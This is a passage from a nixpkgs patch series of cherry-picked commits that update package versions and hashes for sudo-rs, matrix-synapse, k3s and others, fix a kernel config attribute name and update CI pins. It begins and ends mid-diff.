diff --git a/pkgs/by-name/su/sudo-rs/package.nix b/pkgs/by-name/su/sudo-rs/package.nix
index e4a141ea1c99..a67c94ae171e 100644
--- a/pkgs/by-name/su/sudo-rs/package.nix
+++ b/pkgs/by-name/su/sudo-rs/package.nix
@@ -12,16 +12,18 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sudo-rs";
-  version = "0.2.7";
+  version = "0.2.8";
 
   src = fetchFromGitHub {
     owner = "trifectatechfoundation";
     repo = "sudo-rs";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-02ODKMumYUKcmSfPAiCwpRph5+Zy+g5uqqbJ9ThRxRg=";
+    hash = "sha256-82qd9lVwxI9Md7NWpfauGWKtvR1MvX9VNZ9e1RvzmP4=";
   };
+
   useFetchCargoVendor = true;
-  cargoHash = "sha256-o3//zJxB6CNHQl1DtfmFnSBP9npC4I9/hRuzpWrKoNs=";
+
+  cargoHash = "sha256-hvXVdPs2K1FPi06NZSockNXA9QOnXOsrONiMCTiIs2I=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 96d6cb4e77984946ec72065af9c6a22e986666bd Mon Sep 17 00:00:00 2001
From: Alex Lyon <dev@arct.rs>
Date: Tue, 5 Aug 2025 01:30:25 -0700
Subject: [PATCH 3209/4511] linux: fix structuredExtraConfig

(cherry picked from commit 64352daf32823aa882b5a301d7097497a4eb44cf)
---
 pkgs/os-specific/linux/kernel/generic.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/generic.nix b/pkgs/os-specific/linux/kernel/generic.nix
index 47ac444c8c75..050ce72b5f4b 100644
--- a/pkgs/os-specific/linux/kernel/generic.nix
+++ b/pkgs/os-specific/linux/kernel/generic.nix
@@ -136,11 +136,11 @@ let
 
       structuredConfigFromPatches = map (
         {
-          extraStructuredConfig ? { },
+          structuredExtraConfig ? { },
           ...
         }:
         {
-          settings = extraStructuredConfig;
+          settings = structuredExtraConfig;
         }
       ) kernelPatches;
 

From 3f8c22ec353ae6a3716953e87c1af79ef954893b Mon Sep 17 00:00:00 2001
From: Sumner Evans <me@sumnerevans.com>
Date: Sat, 2 Aug 2025 13:14:24 -0600
Subject: [PATCH 3210/4511] matrix-synapse: 1.134.0 -> 1.135.0

https://github.com/element-hq/synapse/releases/tag/v1.135.0
Signed-off-by: Sumner Evans <me@sumnerevans.com>
(cherry picked from commit c8d34e88f49b8c51d4cf2090b163a82954813ed2)
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index 67c06eb783d0..754981730432 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,19 +17,19 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.134.0";
+  version = "1.135.0";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-q7+yVKFzyu8ccuroZsTSMRRKMwmr3TDojtXNx4bChTE";
+    hash = "sha256-ygLWjI6HzBMTPDhEmf1rT18UhoRekzpG8DkeZXo2dts=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname version src;
-    hash = "sha256-BfLj+cqS6zpX2qLb+Rur4cy7CyPH2KzdXaTXpNK20DM=";
+    hash = "sha256-4J92s6cSgsEIYQpbU6OOLI/USIJX2Gc7UdEHgWQgmXc=";
   };
 
   postPatch = ''

From 7285a7c47bfe1660ab0c4048fe8630431c2b49a3 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Mon, 4 Aug 2025 01:44:07 +0300
Subject: [PATCH 3211/4511] alt-tab-macos: 7.25.0 -> 7.26.0

Changelog: https://github.com/lwouis/alt-tab-macos/releases/tag/v7.26.0
Diff: https://github.com/lwouis/alt-tab-macos/compare/v7.25.0...v7.26.0
(cherry picked from commit 5fb4d7f28a00b4c440c0a646e2d802c900ad9e56)
---
 pkgs/by-name/al/alt-tab-macos/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/al/alt-tab-macos/package.nix b/pkgs/by-name/al/alt-tab-macos/package.nix
index 48da2357d034..276820dd29dc 100644
--- a/pkgs/by-name/al/alt-tab-macos/package.nix
+++ b/pkgs/by-name/al/alt-tab-macos/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "alt-tab-macos";
-  version = "7.25.0";
+  version = "7.26.0";
 
   src = fetchurl {
     url = "https://github.com/lwouis/alt-tab-macos/releases/download/v${finalAttrs.version}/AltTab-${finalAttrs.version}.zip";
-    hash = "sha256-e13en0fQHO0i49gP1zU6ms9TDMAwo1qsubsTi/DdIUo=";
+    hash = "sha256-tDy+GFZw9hD2kelPOJioRvcmbPZ9bQu+IRDBEOamsJs=";
   };
 
   sourceRoot = ".";

From 98b820ff85a38a1e6233fc05b61dc1901cfde819 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Tue, 22 Jul 2025 19:32:33 +0200
Subject: [PATCH 3212/4511] linuxKernel.packages.zenpower: fix build for 6.16

(cherry picked from commit 0f7524accda9647242b540c67bea99d9c39c5d16)
---
 pkgs/os-specific/linux/zenpower/default.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/os-specific/linux/zenpower/default.nix b/pkgs/os-specific/linux/zenpower/default.nix
index 10a61bfafa53..9a4af7542324 100644
--- a/pkgs/os-specific/linux/zenpower/default.nix
+++ b/pkgs/os-specific/linux/zenpower/default.nix
@@ -2,18 +2,18 @@
   lib,
   stdenv,
   kernel,
-  fetchFromGitLab,
+  fetchFromGitHub,
 }:
 
 stdenv.mkDerivation rec {
   pname = "zenpower";
-  version = "unstable-2025-02-28";
+  version = "unstable-2025-06-17";
 
-  src = fetchFromGitLab {
-    owner = "shdwchn10";
+  src = fetchFromGitHub {
+    owner = "AliEmreSenel";
     repo = "zenpower3";
-    rev = "138fa0637b46a0b0a087f2ba4e9146d2f9ba2475";
-    sha256 = "sha256-kLtkG97Lje+Fd5FoYf+UlSaEyxFaETtXrSjYzFnHkjY=";
+    rev = "41e042935ee9840c0b9dd55d61b6ddd58bc4fde6";
+    hash = "sha256-0U/JmEd6OJJeUm1ZLFYxpKH15n7+QTWYOgtKIFAuf/4=";
   };
 
   hardeningDisable = [ "pic" ];

From dfd4c4402da8fae30b8d4ee8750fefecafbb8c19 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 5 Aug 2025 11:13:49 +0200
Subject: [PATCH 3213/4511] ci/pinned: update

This gives us Nix 2.30 as `nixVersions.latest`, which enables it for
Eval in CI automatically.

It also gives us markdown-code-runner 0.2.0, which allows it to run with
treefmt.

From the nixpkgs-unstable channel:
https://hydra.nixos.org/eval/1817362#tabs-inputs

Changes for treefmt-nix:
https://github.com/numtide/treefmt-nix/compare/421b56313c65a0815a52b424777f55acf0b56ddf...58bd4da459f0a39e506847109a2a5cfceb837796

(cherry picked from commit 492225f4f751c95ecc28c86f5e4a9db665bd6fb8)
---
 ci/pinned.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/ci/pinned.json b/ci/pinned.json
index 7818ad5f6769..1f1af448a2e8 100644
--- a/ci/pinned.json
+++ b/ci/pinned.json
@@ -9,9 +9,9 @@
       },
       "branch": "nixpkgs-unstable",
       "submodules": false,
-      "revision": "2baf8e1658cba84a032c3a8befb1e7b06629242a",
-      "url": "https://github.com/NixOS/nixpkgs/archive/2baf8e1658cba84a032c3a8befb1e7b06629242a.tar.gz",
-      "hash": "0l48zkf2zs7r53fjq46j770vpb5avxihyfypra3fv429akqnsmm1"
+      "revision": "6a489c9482ca676ce23c0bcd7f2e1795383325fa",
+      "url": "https://github.com/NixOS/nixpkgs/archive/6a489c9482ca676ce23c0bcd7f2e1795383325fa.tar.gz",
+      "hash": "0vsvkhy3gb8yzq62vazhmpqixssmd4xinnll7w73l4vrqd611wlf"
     },
     "treefmt-nix": {
       "type": "Git",
@@ -22,9 +22,9 @@
       },
       "branch": "main",
       "submodules": false,
-      "revision": "421b56313c65a0815a52b424777f55acf0b56ddf",
-      "url": "https://github.com/numtide/treefmt-nix/archive/421b56313c65a0815a52b424777f55acf0b56ddf.tar.gz",
-      "hash": "1l57hzz704s7izkkcl3xsg77xjfza57cl0fchs24rdpdhmry2dmp"
+      "revision": "58bd4da459f0a39e506847109a2a5cfceb837796",
+      "url": "https://github.com/numtide/treefmt-nix/archive/58bd4da459f0a39e506847109a2a5cfceb837796.tar.gz",
+      "hash": "01bg9b4xzlv6s5q1q78vib6l2csw02b3rk5bm5yj4gx2sk2hvmrq"
     }
   },
   "version": 5

From 2ef4c0aa1e33421f41268fd3f2240ec4d410eef6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 5 Aug 2025 11:16:37 +0200
Subject: [PATCH 3214/4511] ci/tarball: build with Nix 2.30

We had to avoid 2.28 / 2.29 due to performance regressions, but this
should work well again with Nix 2.30.

(cherry picked from commit 6884dd65da41ca624772832191bf920727fd41e8)
---
 ci/default.nix | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/ci/default.nix b/ci/default.nix
index 1f87117d39fc..eaa1879c34b4 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -124,8 +124,6 @@ rec {
     };
     officialRelease = false;
     inherit pkgs lib-tests;
-    # 2.28 / 2.29 take 9x longer than 2.30 or Lix.
-    # TODO: Switch back to nixVersions.latest
-    nix = pkgs.lix;
+    nix = pkgs.nixVersions.latest;
   };
 }

From 0dc7fb80e64b340ea265cbdf72a059922fc4fb3a Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Tue, 5 Aug 2025 14:34:45 +0200
Subject: [PATCH 3215/4511] k3s_1_33: 1.33.2+k3s1 -> 1.33.3+k3s1

https://github.com/k3s-io/k3s/releases/tag/v1.33.3%2Bk3s1
(cherry picked from commit e6312a32ee9d5b5271c28cc1b56bed4e0cd474ed)
---
 .../cluster/k3s/1_33/images-versions.json        | 16 ++++++++--------
 .../networking/cluster/k3s/1_33/versions.nix     | 12 ++++++------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
index 2416e6b26bb1..6e80722b9f5a 100644
--- a/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.2%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "aa52e035f7e2fff17f4cb59cdaa60d117770bfa7b5c67be655c1d1fa4f261137"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.3%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "51b6ddeafa465e542f0707272736100916886dd49abcb1420ee52878dd3638a9"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.2%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "670743ad088ada4a72966e30cbf10c7c3b0cc1fe7775f709647820c32b8d3b05"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.3%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "339dd2b33b40f03bf95ee2e5dcb8e543ab6852e156cb8aaebe3885717a2966b5"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.2%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "3f2b8c54702018362c24266daaa39b582742c8612cf16ac53c04fb778193884b"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.3%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "c12ec7b122f34eb1f89310b05e66b500a2f49522d7cd4ceb3475a675cab6ebc6"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.2%2Bk3s1/k3s-images.txt",
-    "sha256": "637ccb5f5a8f4a7d13991cb3060f05b8c7c46e7351e0edae351f9ad23bb51631"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.3%2Bk3s1/k3s-images.txt",
+    "sha256": "e786e9a6f0331a92a2257a12995028761bfee1b5bfaac866025b64162e69bfe0"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_33/versions.nix b/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
index d5cad93fd7ce..185a61040575 100644
--- a/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
@@ -1,15 +1,15 @@
 {
-  k3sVersion = "1.33.2+k3s1";
-  k3sCommit = "6e38c8b55284c0d68f64a9e603fb645a32ecd232";
-  k3sRepoSha256 = "1s2ibbq2ivy1w3dkqlwnipg6cphiji0ax96fagfxgzwyjhxkyvxh";
-  k3sVendorHash = "sha256-MLntaqh1uwJ4cfvHW4lJxUzxtlq87DWCfhU4X6aRbxI=";
+  k3sVersion = "1.33.3+k3s1";
+  k3sCommit = "236cbf257332b293f444abe6f24d699ff628173e";
+  k3sRepoSha256 = "163brwnz4af1rjv5pcghlzjnwr27b087y73bv6pri0fyqd3mwiim";
+  k3sVendorHash = "sha256-rU+rpExb9LVIROPj3MN924r7Hk8sK/5P8JSssOoIWTU=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
   k3sCNIVersion = "1.7.1-k3s1";
   k3sCNISha256 = "0k1qfmsi5bqgwd5ap8ndimw09hsxn0cqf4m5ad5a4mgl6akw6dqz";
-  containerdVersion = "2.0.5-k3s1";
-  containerdSha256 = "1c3hv22zx8y94zwmv5r59bnwgqyhxd10zkinm0jrcvny32ijqdfj";
+  containerdVersion = "2.0.5-k3s2";
+  containerdSha256 = "0011p1905jsswz1zqzkylzjfvi50mc60ifgjnjxwnjrk2rnwbmbz";
   criCtlVersion = "1.31.0-k3s2";
 }

From 64a9da23fe425cc18cb8753ac0d746c416f93338 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Tue, 5 Aug 2025 14:14:20 +0200
Subject: [PATCH 3216/4511] k3s_1_32: 1.32.6+k3s1 -> 1.32.7+k3s1

https://github.com/k3s-io/k3s/releases/tag/v1.32.7%2Bk3s1
(cherry picked from commit e7bb0504d255d7e1baa3cae9ba5ab583c48254fb)
---
 .../cluster/k3s/1_32/images-versions.json        | 16 ++++++++--------
 .../networking/cluster/k3s/1_32/versions.nix     | 12 ++++++------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
index 410a19d952fa..b5c452ddc819 100644
--- a/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.6%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "11350d97016e084bff9d0410e3abfb0ed5dd5920378565584e88996b0a6e2da4"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.7%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "965f5767c08cffc96bf0967813e7c3fec4c41309e9952a480f0a50865bebd039"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.6%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "1aa4286b30b5418df7b94782b70bcf79644da6c2d77bc5ab643da9c69e0290ac"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.7%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "57ab9c306cc96f8dd925bc788c80e49c2d13ee7a222a12235fb525529ad25ac0"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.6%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "cff2d5270b5702b5813f662af7e1f0a741ea3a1052cc81629de6eee1d5a767bd"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.7%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "1aa05a55492ba0872fa8a0ff518d6e947869bea32dc2b8e5223bdcf53450c7f9"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.6%2Bk3s1/k3s-images.txt",
-    "sha256": "637ccb5f5a8f4a7d13991cb3060f05b8c7c46e7351e0edae351f9ad23bb51631"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.7%2Bk3s1/k3s-images.txt",
+    "sha256": "e786e9a6f0331a92a2257a12995028761bfee1b5bfaac866025b64162e69bfe0"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_32/versions.nix b/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
index b8dea807d758..1b9cf156e4bf 100644
--- a/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
@@ -1,15 +1,15 @@
 {
-  k3sVersion = "1.32.6+k3s1";
-  k3sCommit = "eb603acd1530edcaf79a4a8ed3da54e9e03d9967";
-  k3sRepoSha256 = "05py458rdrys1hkw8rg62c98lnwjij5zby8n2zkl1kbfqy12adln";
-  k3sVendorHash = "sha256-K8vlX8rucbAOCxHbgrWHsMBWiRc/98IJVCYS8UD+ZsI=";
+  k3sVersion = "1.32.7+k3s1";
+  k3sCommit = "ab99e9da82c7072e4d9efbfa9464e343846fae72";
+  k3sRepoSha256 = "0srs8nrmnqsxlyhbbd7i18vbk5c55c16xg278958wi3lbwang0b2";
+  k3sVendorHash = "sha256-vKTujaFATguUtIorfa7bY8lSQsx6RhFx0sdWencR2nc=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
   k3sCNIVersion = "1.7.1-k3s1";
   k3sCNISha256 = "0k1qfmsi5bqgwd5ap8ndimw09hsxn0cqf4m5ad5a4mgl6akw6dqz";
-  containerdVersion = "2.0.5-k3s1.32";
-  containerdSha256 = "1la7ygx5caqfqk025wyrxmhjb0xbpkzwnxv52338p33g68sb3yb0";
+  containerdVersion = "2.0.5-k3s2.32";
+  containerdSha256 = "1q285ijgxhf4w9xgqqg7yi29mb4jqpifk6bqkjih456qxxkiyk2z";
   criCtlVersion = "1.31.0-k3s2";
 }

From 1da97cba67015c9e92c8868807335e544eab6c49 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Tue, 5 Aug 2025 14:03:13 +0200
Subject: [PATCH 3217/4511] k3s_1_31: 1.31.10+k3s1 -> 1.31.11+k3s1

https://github.com/k3s-io/k3s/releases/tag/v1.31.11%2Bk3s1
(cherry picked from commit 0f0f64911dec74b4beab1e77fb1896a9a81a01f3)
---
 .../cluster/k3s/1_31/images-versions.json        | 16 ++++++++--------
 .../networking/cluster/k3s/1_31/versions.nix     | 12 ++++++------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
index be2f8c46f141..3eb41c7c1b00 100644
--- a/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.10%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "86fd5e5cceee3ab6743b1257ed39e62ef73b20475c12495888589e68199210a3"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.11%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "c98ad7590af33ef7e148920eb809dfd0f8145a623fdd8d32c6efeecab6088412"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.10%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "0bb5712817ea3c98c69b51eb5925e37ad47a5b2851a0fd72868502a70ef5c3e6"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.11%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "c1bd7557836538592dbd59f798e7a4b91d7aef74c8f9f71631060c96a5288dd6"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.10%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "4e34adcadba448524851d8b1ea98bc918105eb7b1717c7d8cb8866749373b060"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.11%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "97f0db38f57a2dc63167795620ba34a89348d874ecc91fbf3d8d962dc1392e47"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.10%2Bk3s1/k3s-images.txt",
-    "sha256": "ebe55bbef8ec772071bf736c9671e444aa31ac259e86bfb65180d2405b314c5e"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.11%2Bk3s1/k3s-images.txt",
+    "sha256": "1f87ad26acac5e553279a64942c0e3eeef5c026cc2f82661d358990848672584"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_31/versions.nix b/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
index d96c01cdb6b9..17fabb8925ad 100644
--- a/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
@@ -1,15 +1,15 @@
 {
-  k3sVersion = "1.31.10+k3s1";
-  k3sCommit = "c02ce139f6409f455775004d235d98fc9bee849b";
-  k3sRepoSha256 = "1ap91j0vwgayis1g7j8rh4dxq4g5fn1kkf1dfa2wg0kxfkcldp0x";
-  k3sVendorHash = "sha256-URczHgCfkg2XoX9XNxW7GxPQcfMraLkFCTEbGafyTEI=";
+  k3sVersion = "1.31.11+k3s1";
+  k3sCommit = "17cfde1c82427535f0d3b6fe15caef1a0e62e82f";
+  k3sRepoSha256 = "17dmk8r1rjv2wv4kfyrsdyb9xp696ckq79lzjkvh89x8g31b6p1h";
+  k3sVendorHash = "sha256-ogyFEWnTBYjpz9clO3v5DyO23mHPhUS+JC587kLJ5Ck=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
   k3sCNIVersion = "1.7.1-k3s1";
   k3sCNISha256 = "0k1qfmsi5bqgwd5ap8ndimw09hsxn0cqf4m5ad5a4mgl6akw6dqz";
-  containerdVersion = "2.0.5-k3s1.32";
-  containerdSha256 = "1la7ygx5caqfqk025wyrxmhjb0xbpkzwnxv52338p33g68sb3yb0";
+  containerdVersion = "2.0.5-k3s2.32";
+  containerdSha256 = "1q285ijgxhf4w9xgqqg7yi29mb4jqpifk6bqkjih456qxxkiyk2z";
   criCtlVersion = "1.31.0-k3s2";
 }

From f35161a4dd4d1f35e5b123ea8a01ce9605bc39de Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Tue, 5 Aug 2025 13:57:47 +0200
Subject: [PATCH 3218/4511] k3s_1_30: 1.30.14+k3s1 -> 1.30.14+k3s2

https://github.com/k3s-io/k3s/releases/tag/v1.30.14%2Bk3s2
(cherry picked from commit e5e7fd3a42aa9a73ae50c363899c7c530a45edcb)
---
 .../cluster/k3s/1_30/images-versions.json        | 16 ++++++++--------
 .../networking/cluster/k3s/1_30/versions.nix     |  8 ++++----
 2 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
index 9a4809f6b0bf..c37737fbbfd6 100644
--- a/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "0517c1a3bec942b78ab456643b614700296aba1bd0ca2399883aadeb22b6de5d"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s2/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "9bda99cde833c4e13fb4d35fa46fd57d4b1a2eefc33e00fa352ce686c871c842"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "d8f77b6121d40ea19c6f0658d82158a782507730ba183ebe76643d90d67f736f"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s2/k3s-airgap-images-arm.tar.zst",
+    "sha256": "d40a78ff14b40547bca6d05db3d7e767b272bb9257628ebd3905d1659bc49bd5"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "7edb77c4c586f661b9bf156aea4f5d35b5b390a315bae11140f425cd3ed729eb"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s2/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "6561f91f14c8419c9d1c20fb9af7948757d87bd91855b376058d9f2e16010452"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s1/k3s-images.txt",
-    "sha256": "ebe55bbef8ec772071bf736c9671e444aa31ac259e86bfb65180d2405b314c5e"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.14%2Bk3s2/k3s-images.txt",
+    "sha256": "1f87ad26acac5e553279a64942c0e3eeef5c026cc2f82661d358990848672584"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_30/versions.nix b/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
index e4dcaaa65ad0..566c9c352d40 100644
--- a/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
@@ -1,8 +1,8 @@
 {
-  k3sVersion = "1.30.14+k3s1";
-  k3sCommit = "a7f3d379effef5e0979996339172adb4f87d78df";
-  k3sRepoSha256 = "0kgsfv9bva440a79xgwwdjvhqswzx91mzgf8qishvlwrrw1w0vcm";
-  k3sVendorHash = "sha256-y1UCvafEdFozMlWWd0Yunu4oIkLsHnV4IMTq1RLJ87M=";
+  k3sVersion = "1.30.14+k3s2";
+  k3sCommit = "071b1ead43641c6803e0b9fce6473baeb12357cf";
+  k3sRepoSha256 = "0lldw9kgzpr1073zsr5y4jxmh1c8ah4giyxzb10rfcwx06mglmir";
+  k3sVendorHash = "sha256-qEvdBT3noOtKdIdHDJZChowXzQMpVpY/l1ioTJCGVJ4=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";

From cdcc6a9885d5c246ba069918fb53e5f96f79ede7 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Fri, 4 Jul 2025 06:37:18 +0100
Subject: [PATCH 3219/4511] mbedtls: 3.6.3 -> 3.6.4

Changes: https://github.com/Mbed-TLS/mbedtls/releases/tag/mbedtls-3.6.4
(cherry picked from commit dde790c12c7a590c4eb11f4f2d8f6b363d133f97)
---
 pkgs/development/libraries/mbedtls/3.nix | 15 ++-------------
 1 file changed, 2 insertions(+), 13 deletions(-)

diff --git a/pkgs/development/libraries/mbedtls/3.nix b/pkgs/development/libraries/mbedtls/3.nix
index e8c3908174ac..1713280f2123 100644
--- a/pkgs/development/libraries/mbedtls/3.nix
+++ b/pkgs/development/libraries/mbedtls/3.nix
@@ -1,17 +1,6 @@
 { callPackage, fetchurl }:
 
 callPackage ./generic.nix {
-  version = "3.6.3";
-  hash = "sha256-FJuezgVTxzLRz0Jzk2XnSnpO5sTc8q6QgzkCwlqQ+EU=";
-  patches = [
-    # Fixes the build with GCC 14.
-    #
-    # See:
-    # * <https://github.com/openwrt/openwrt/pull/15479>
-    # * <https://github.com/Mbed-TLS/mbedtls/issues/9003>
-    (fetchurl {
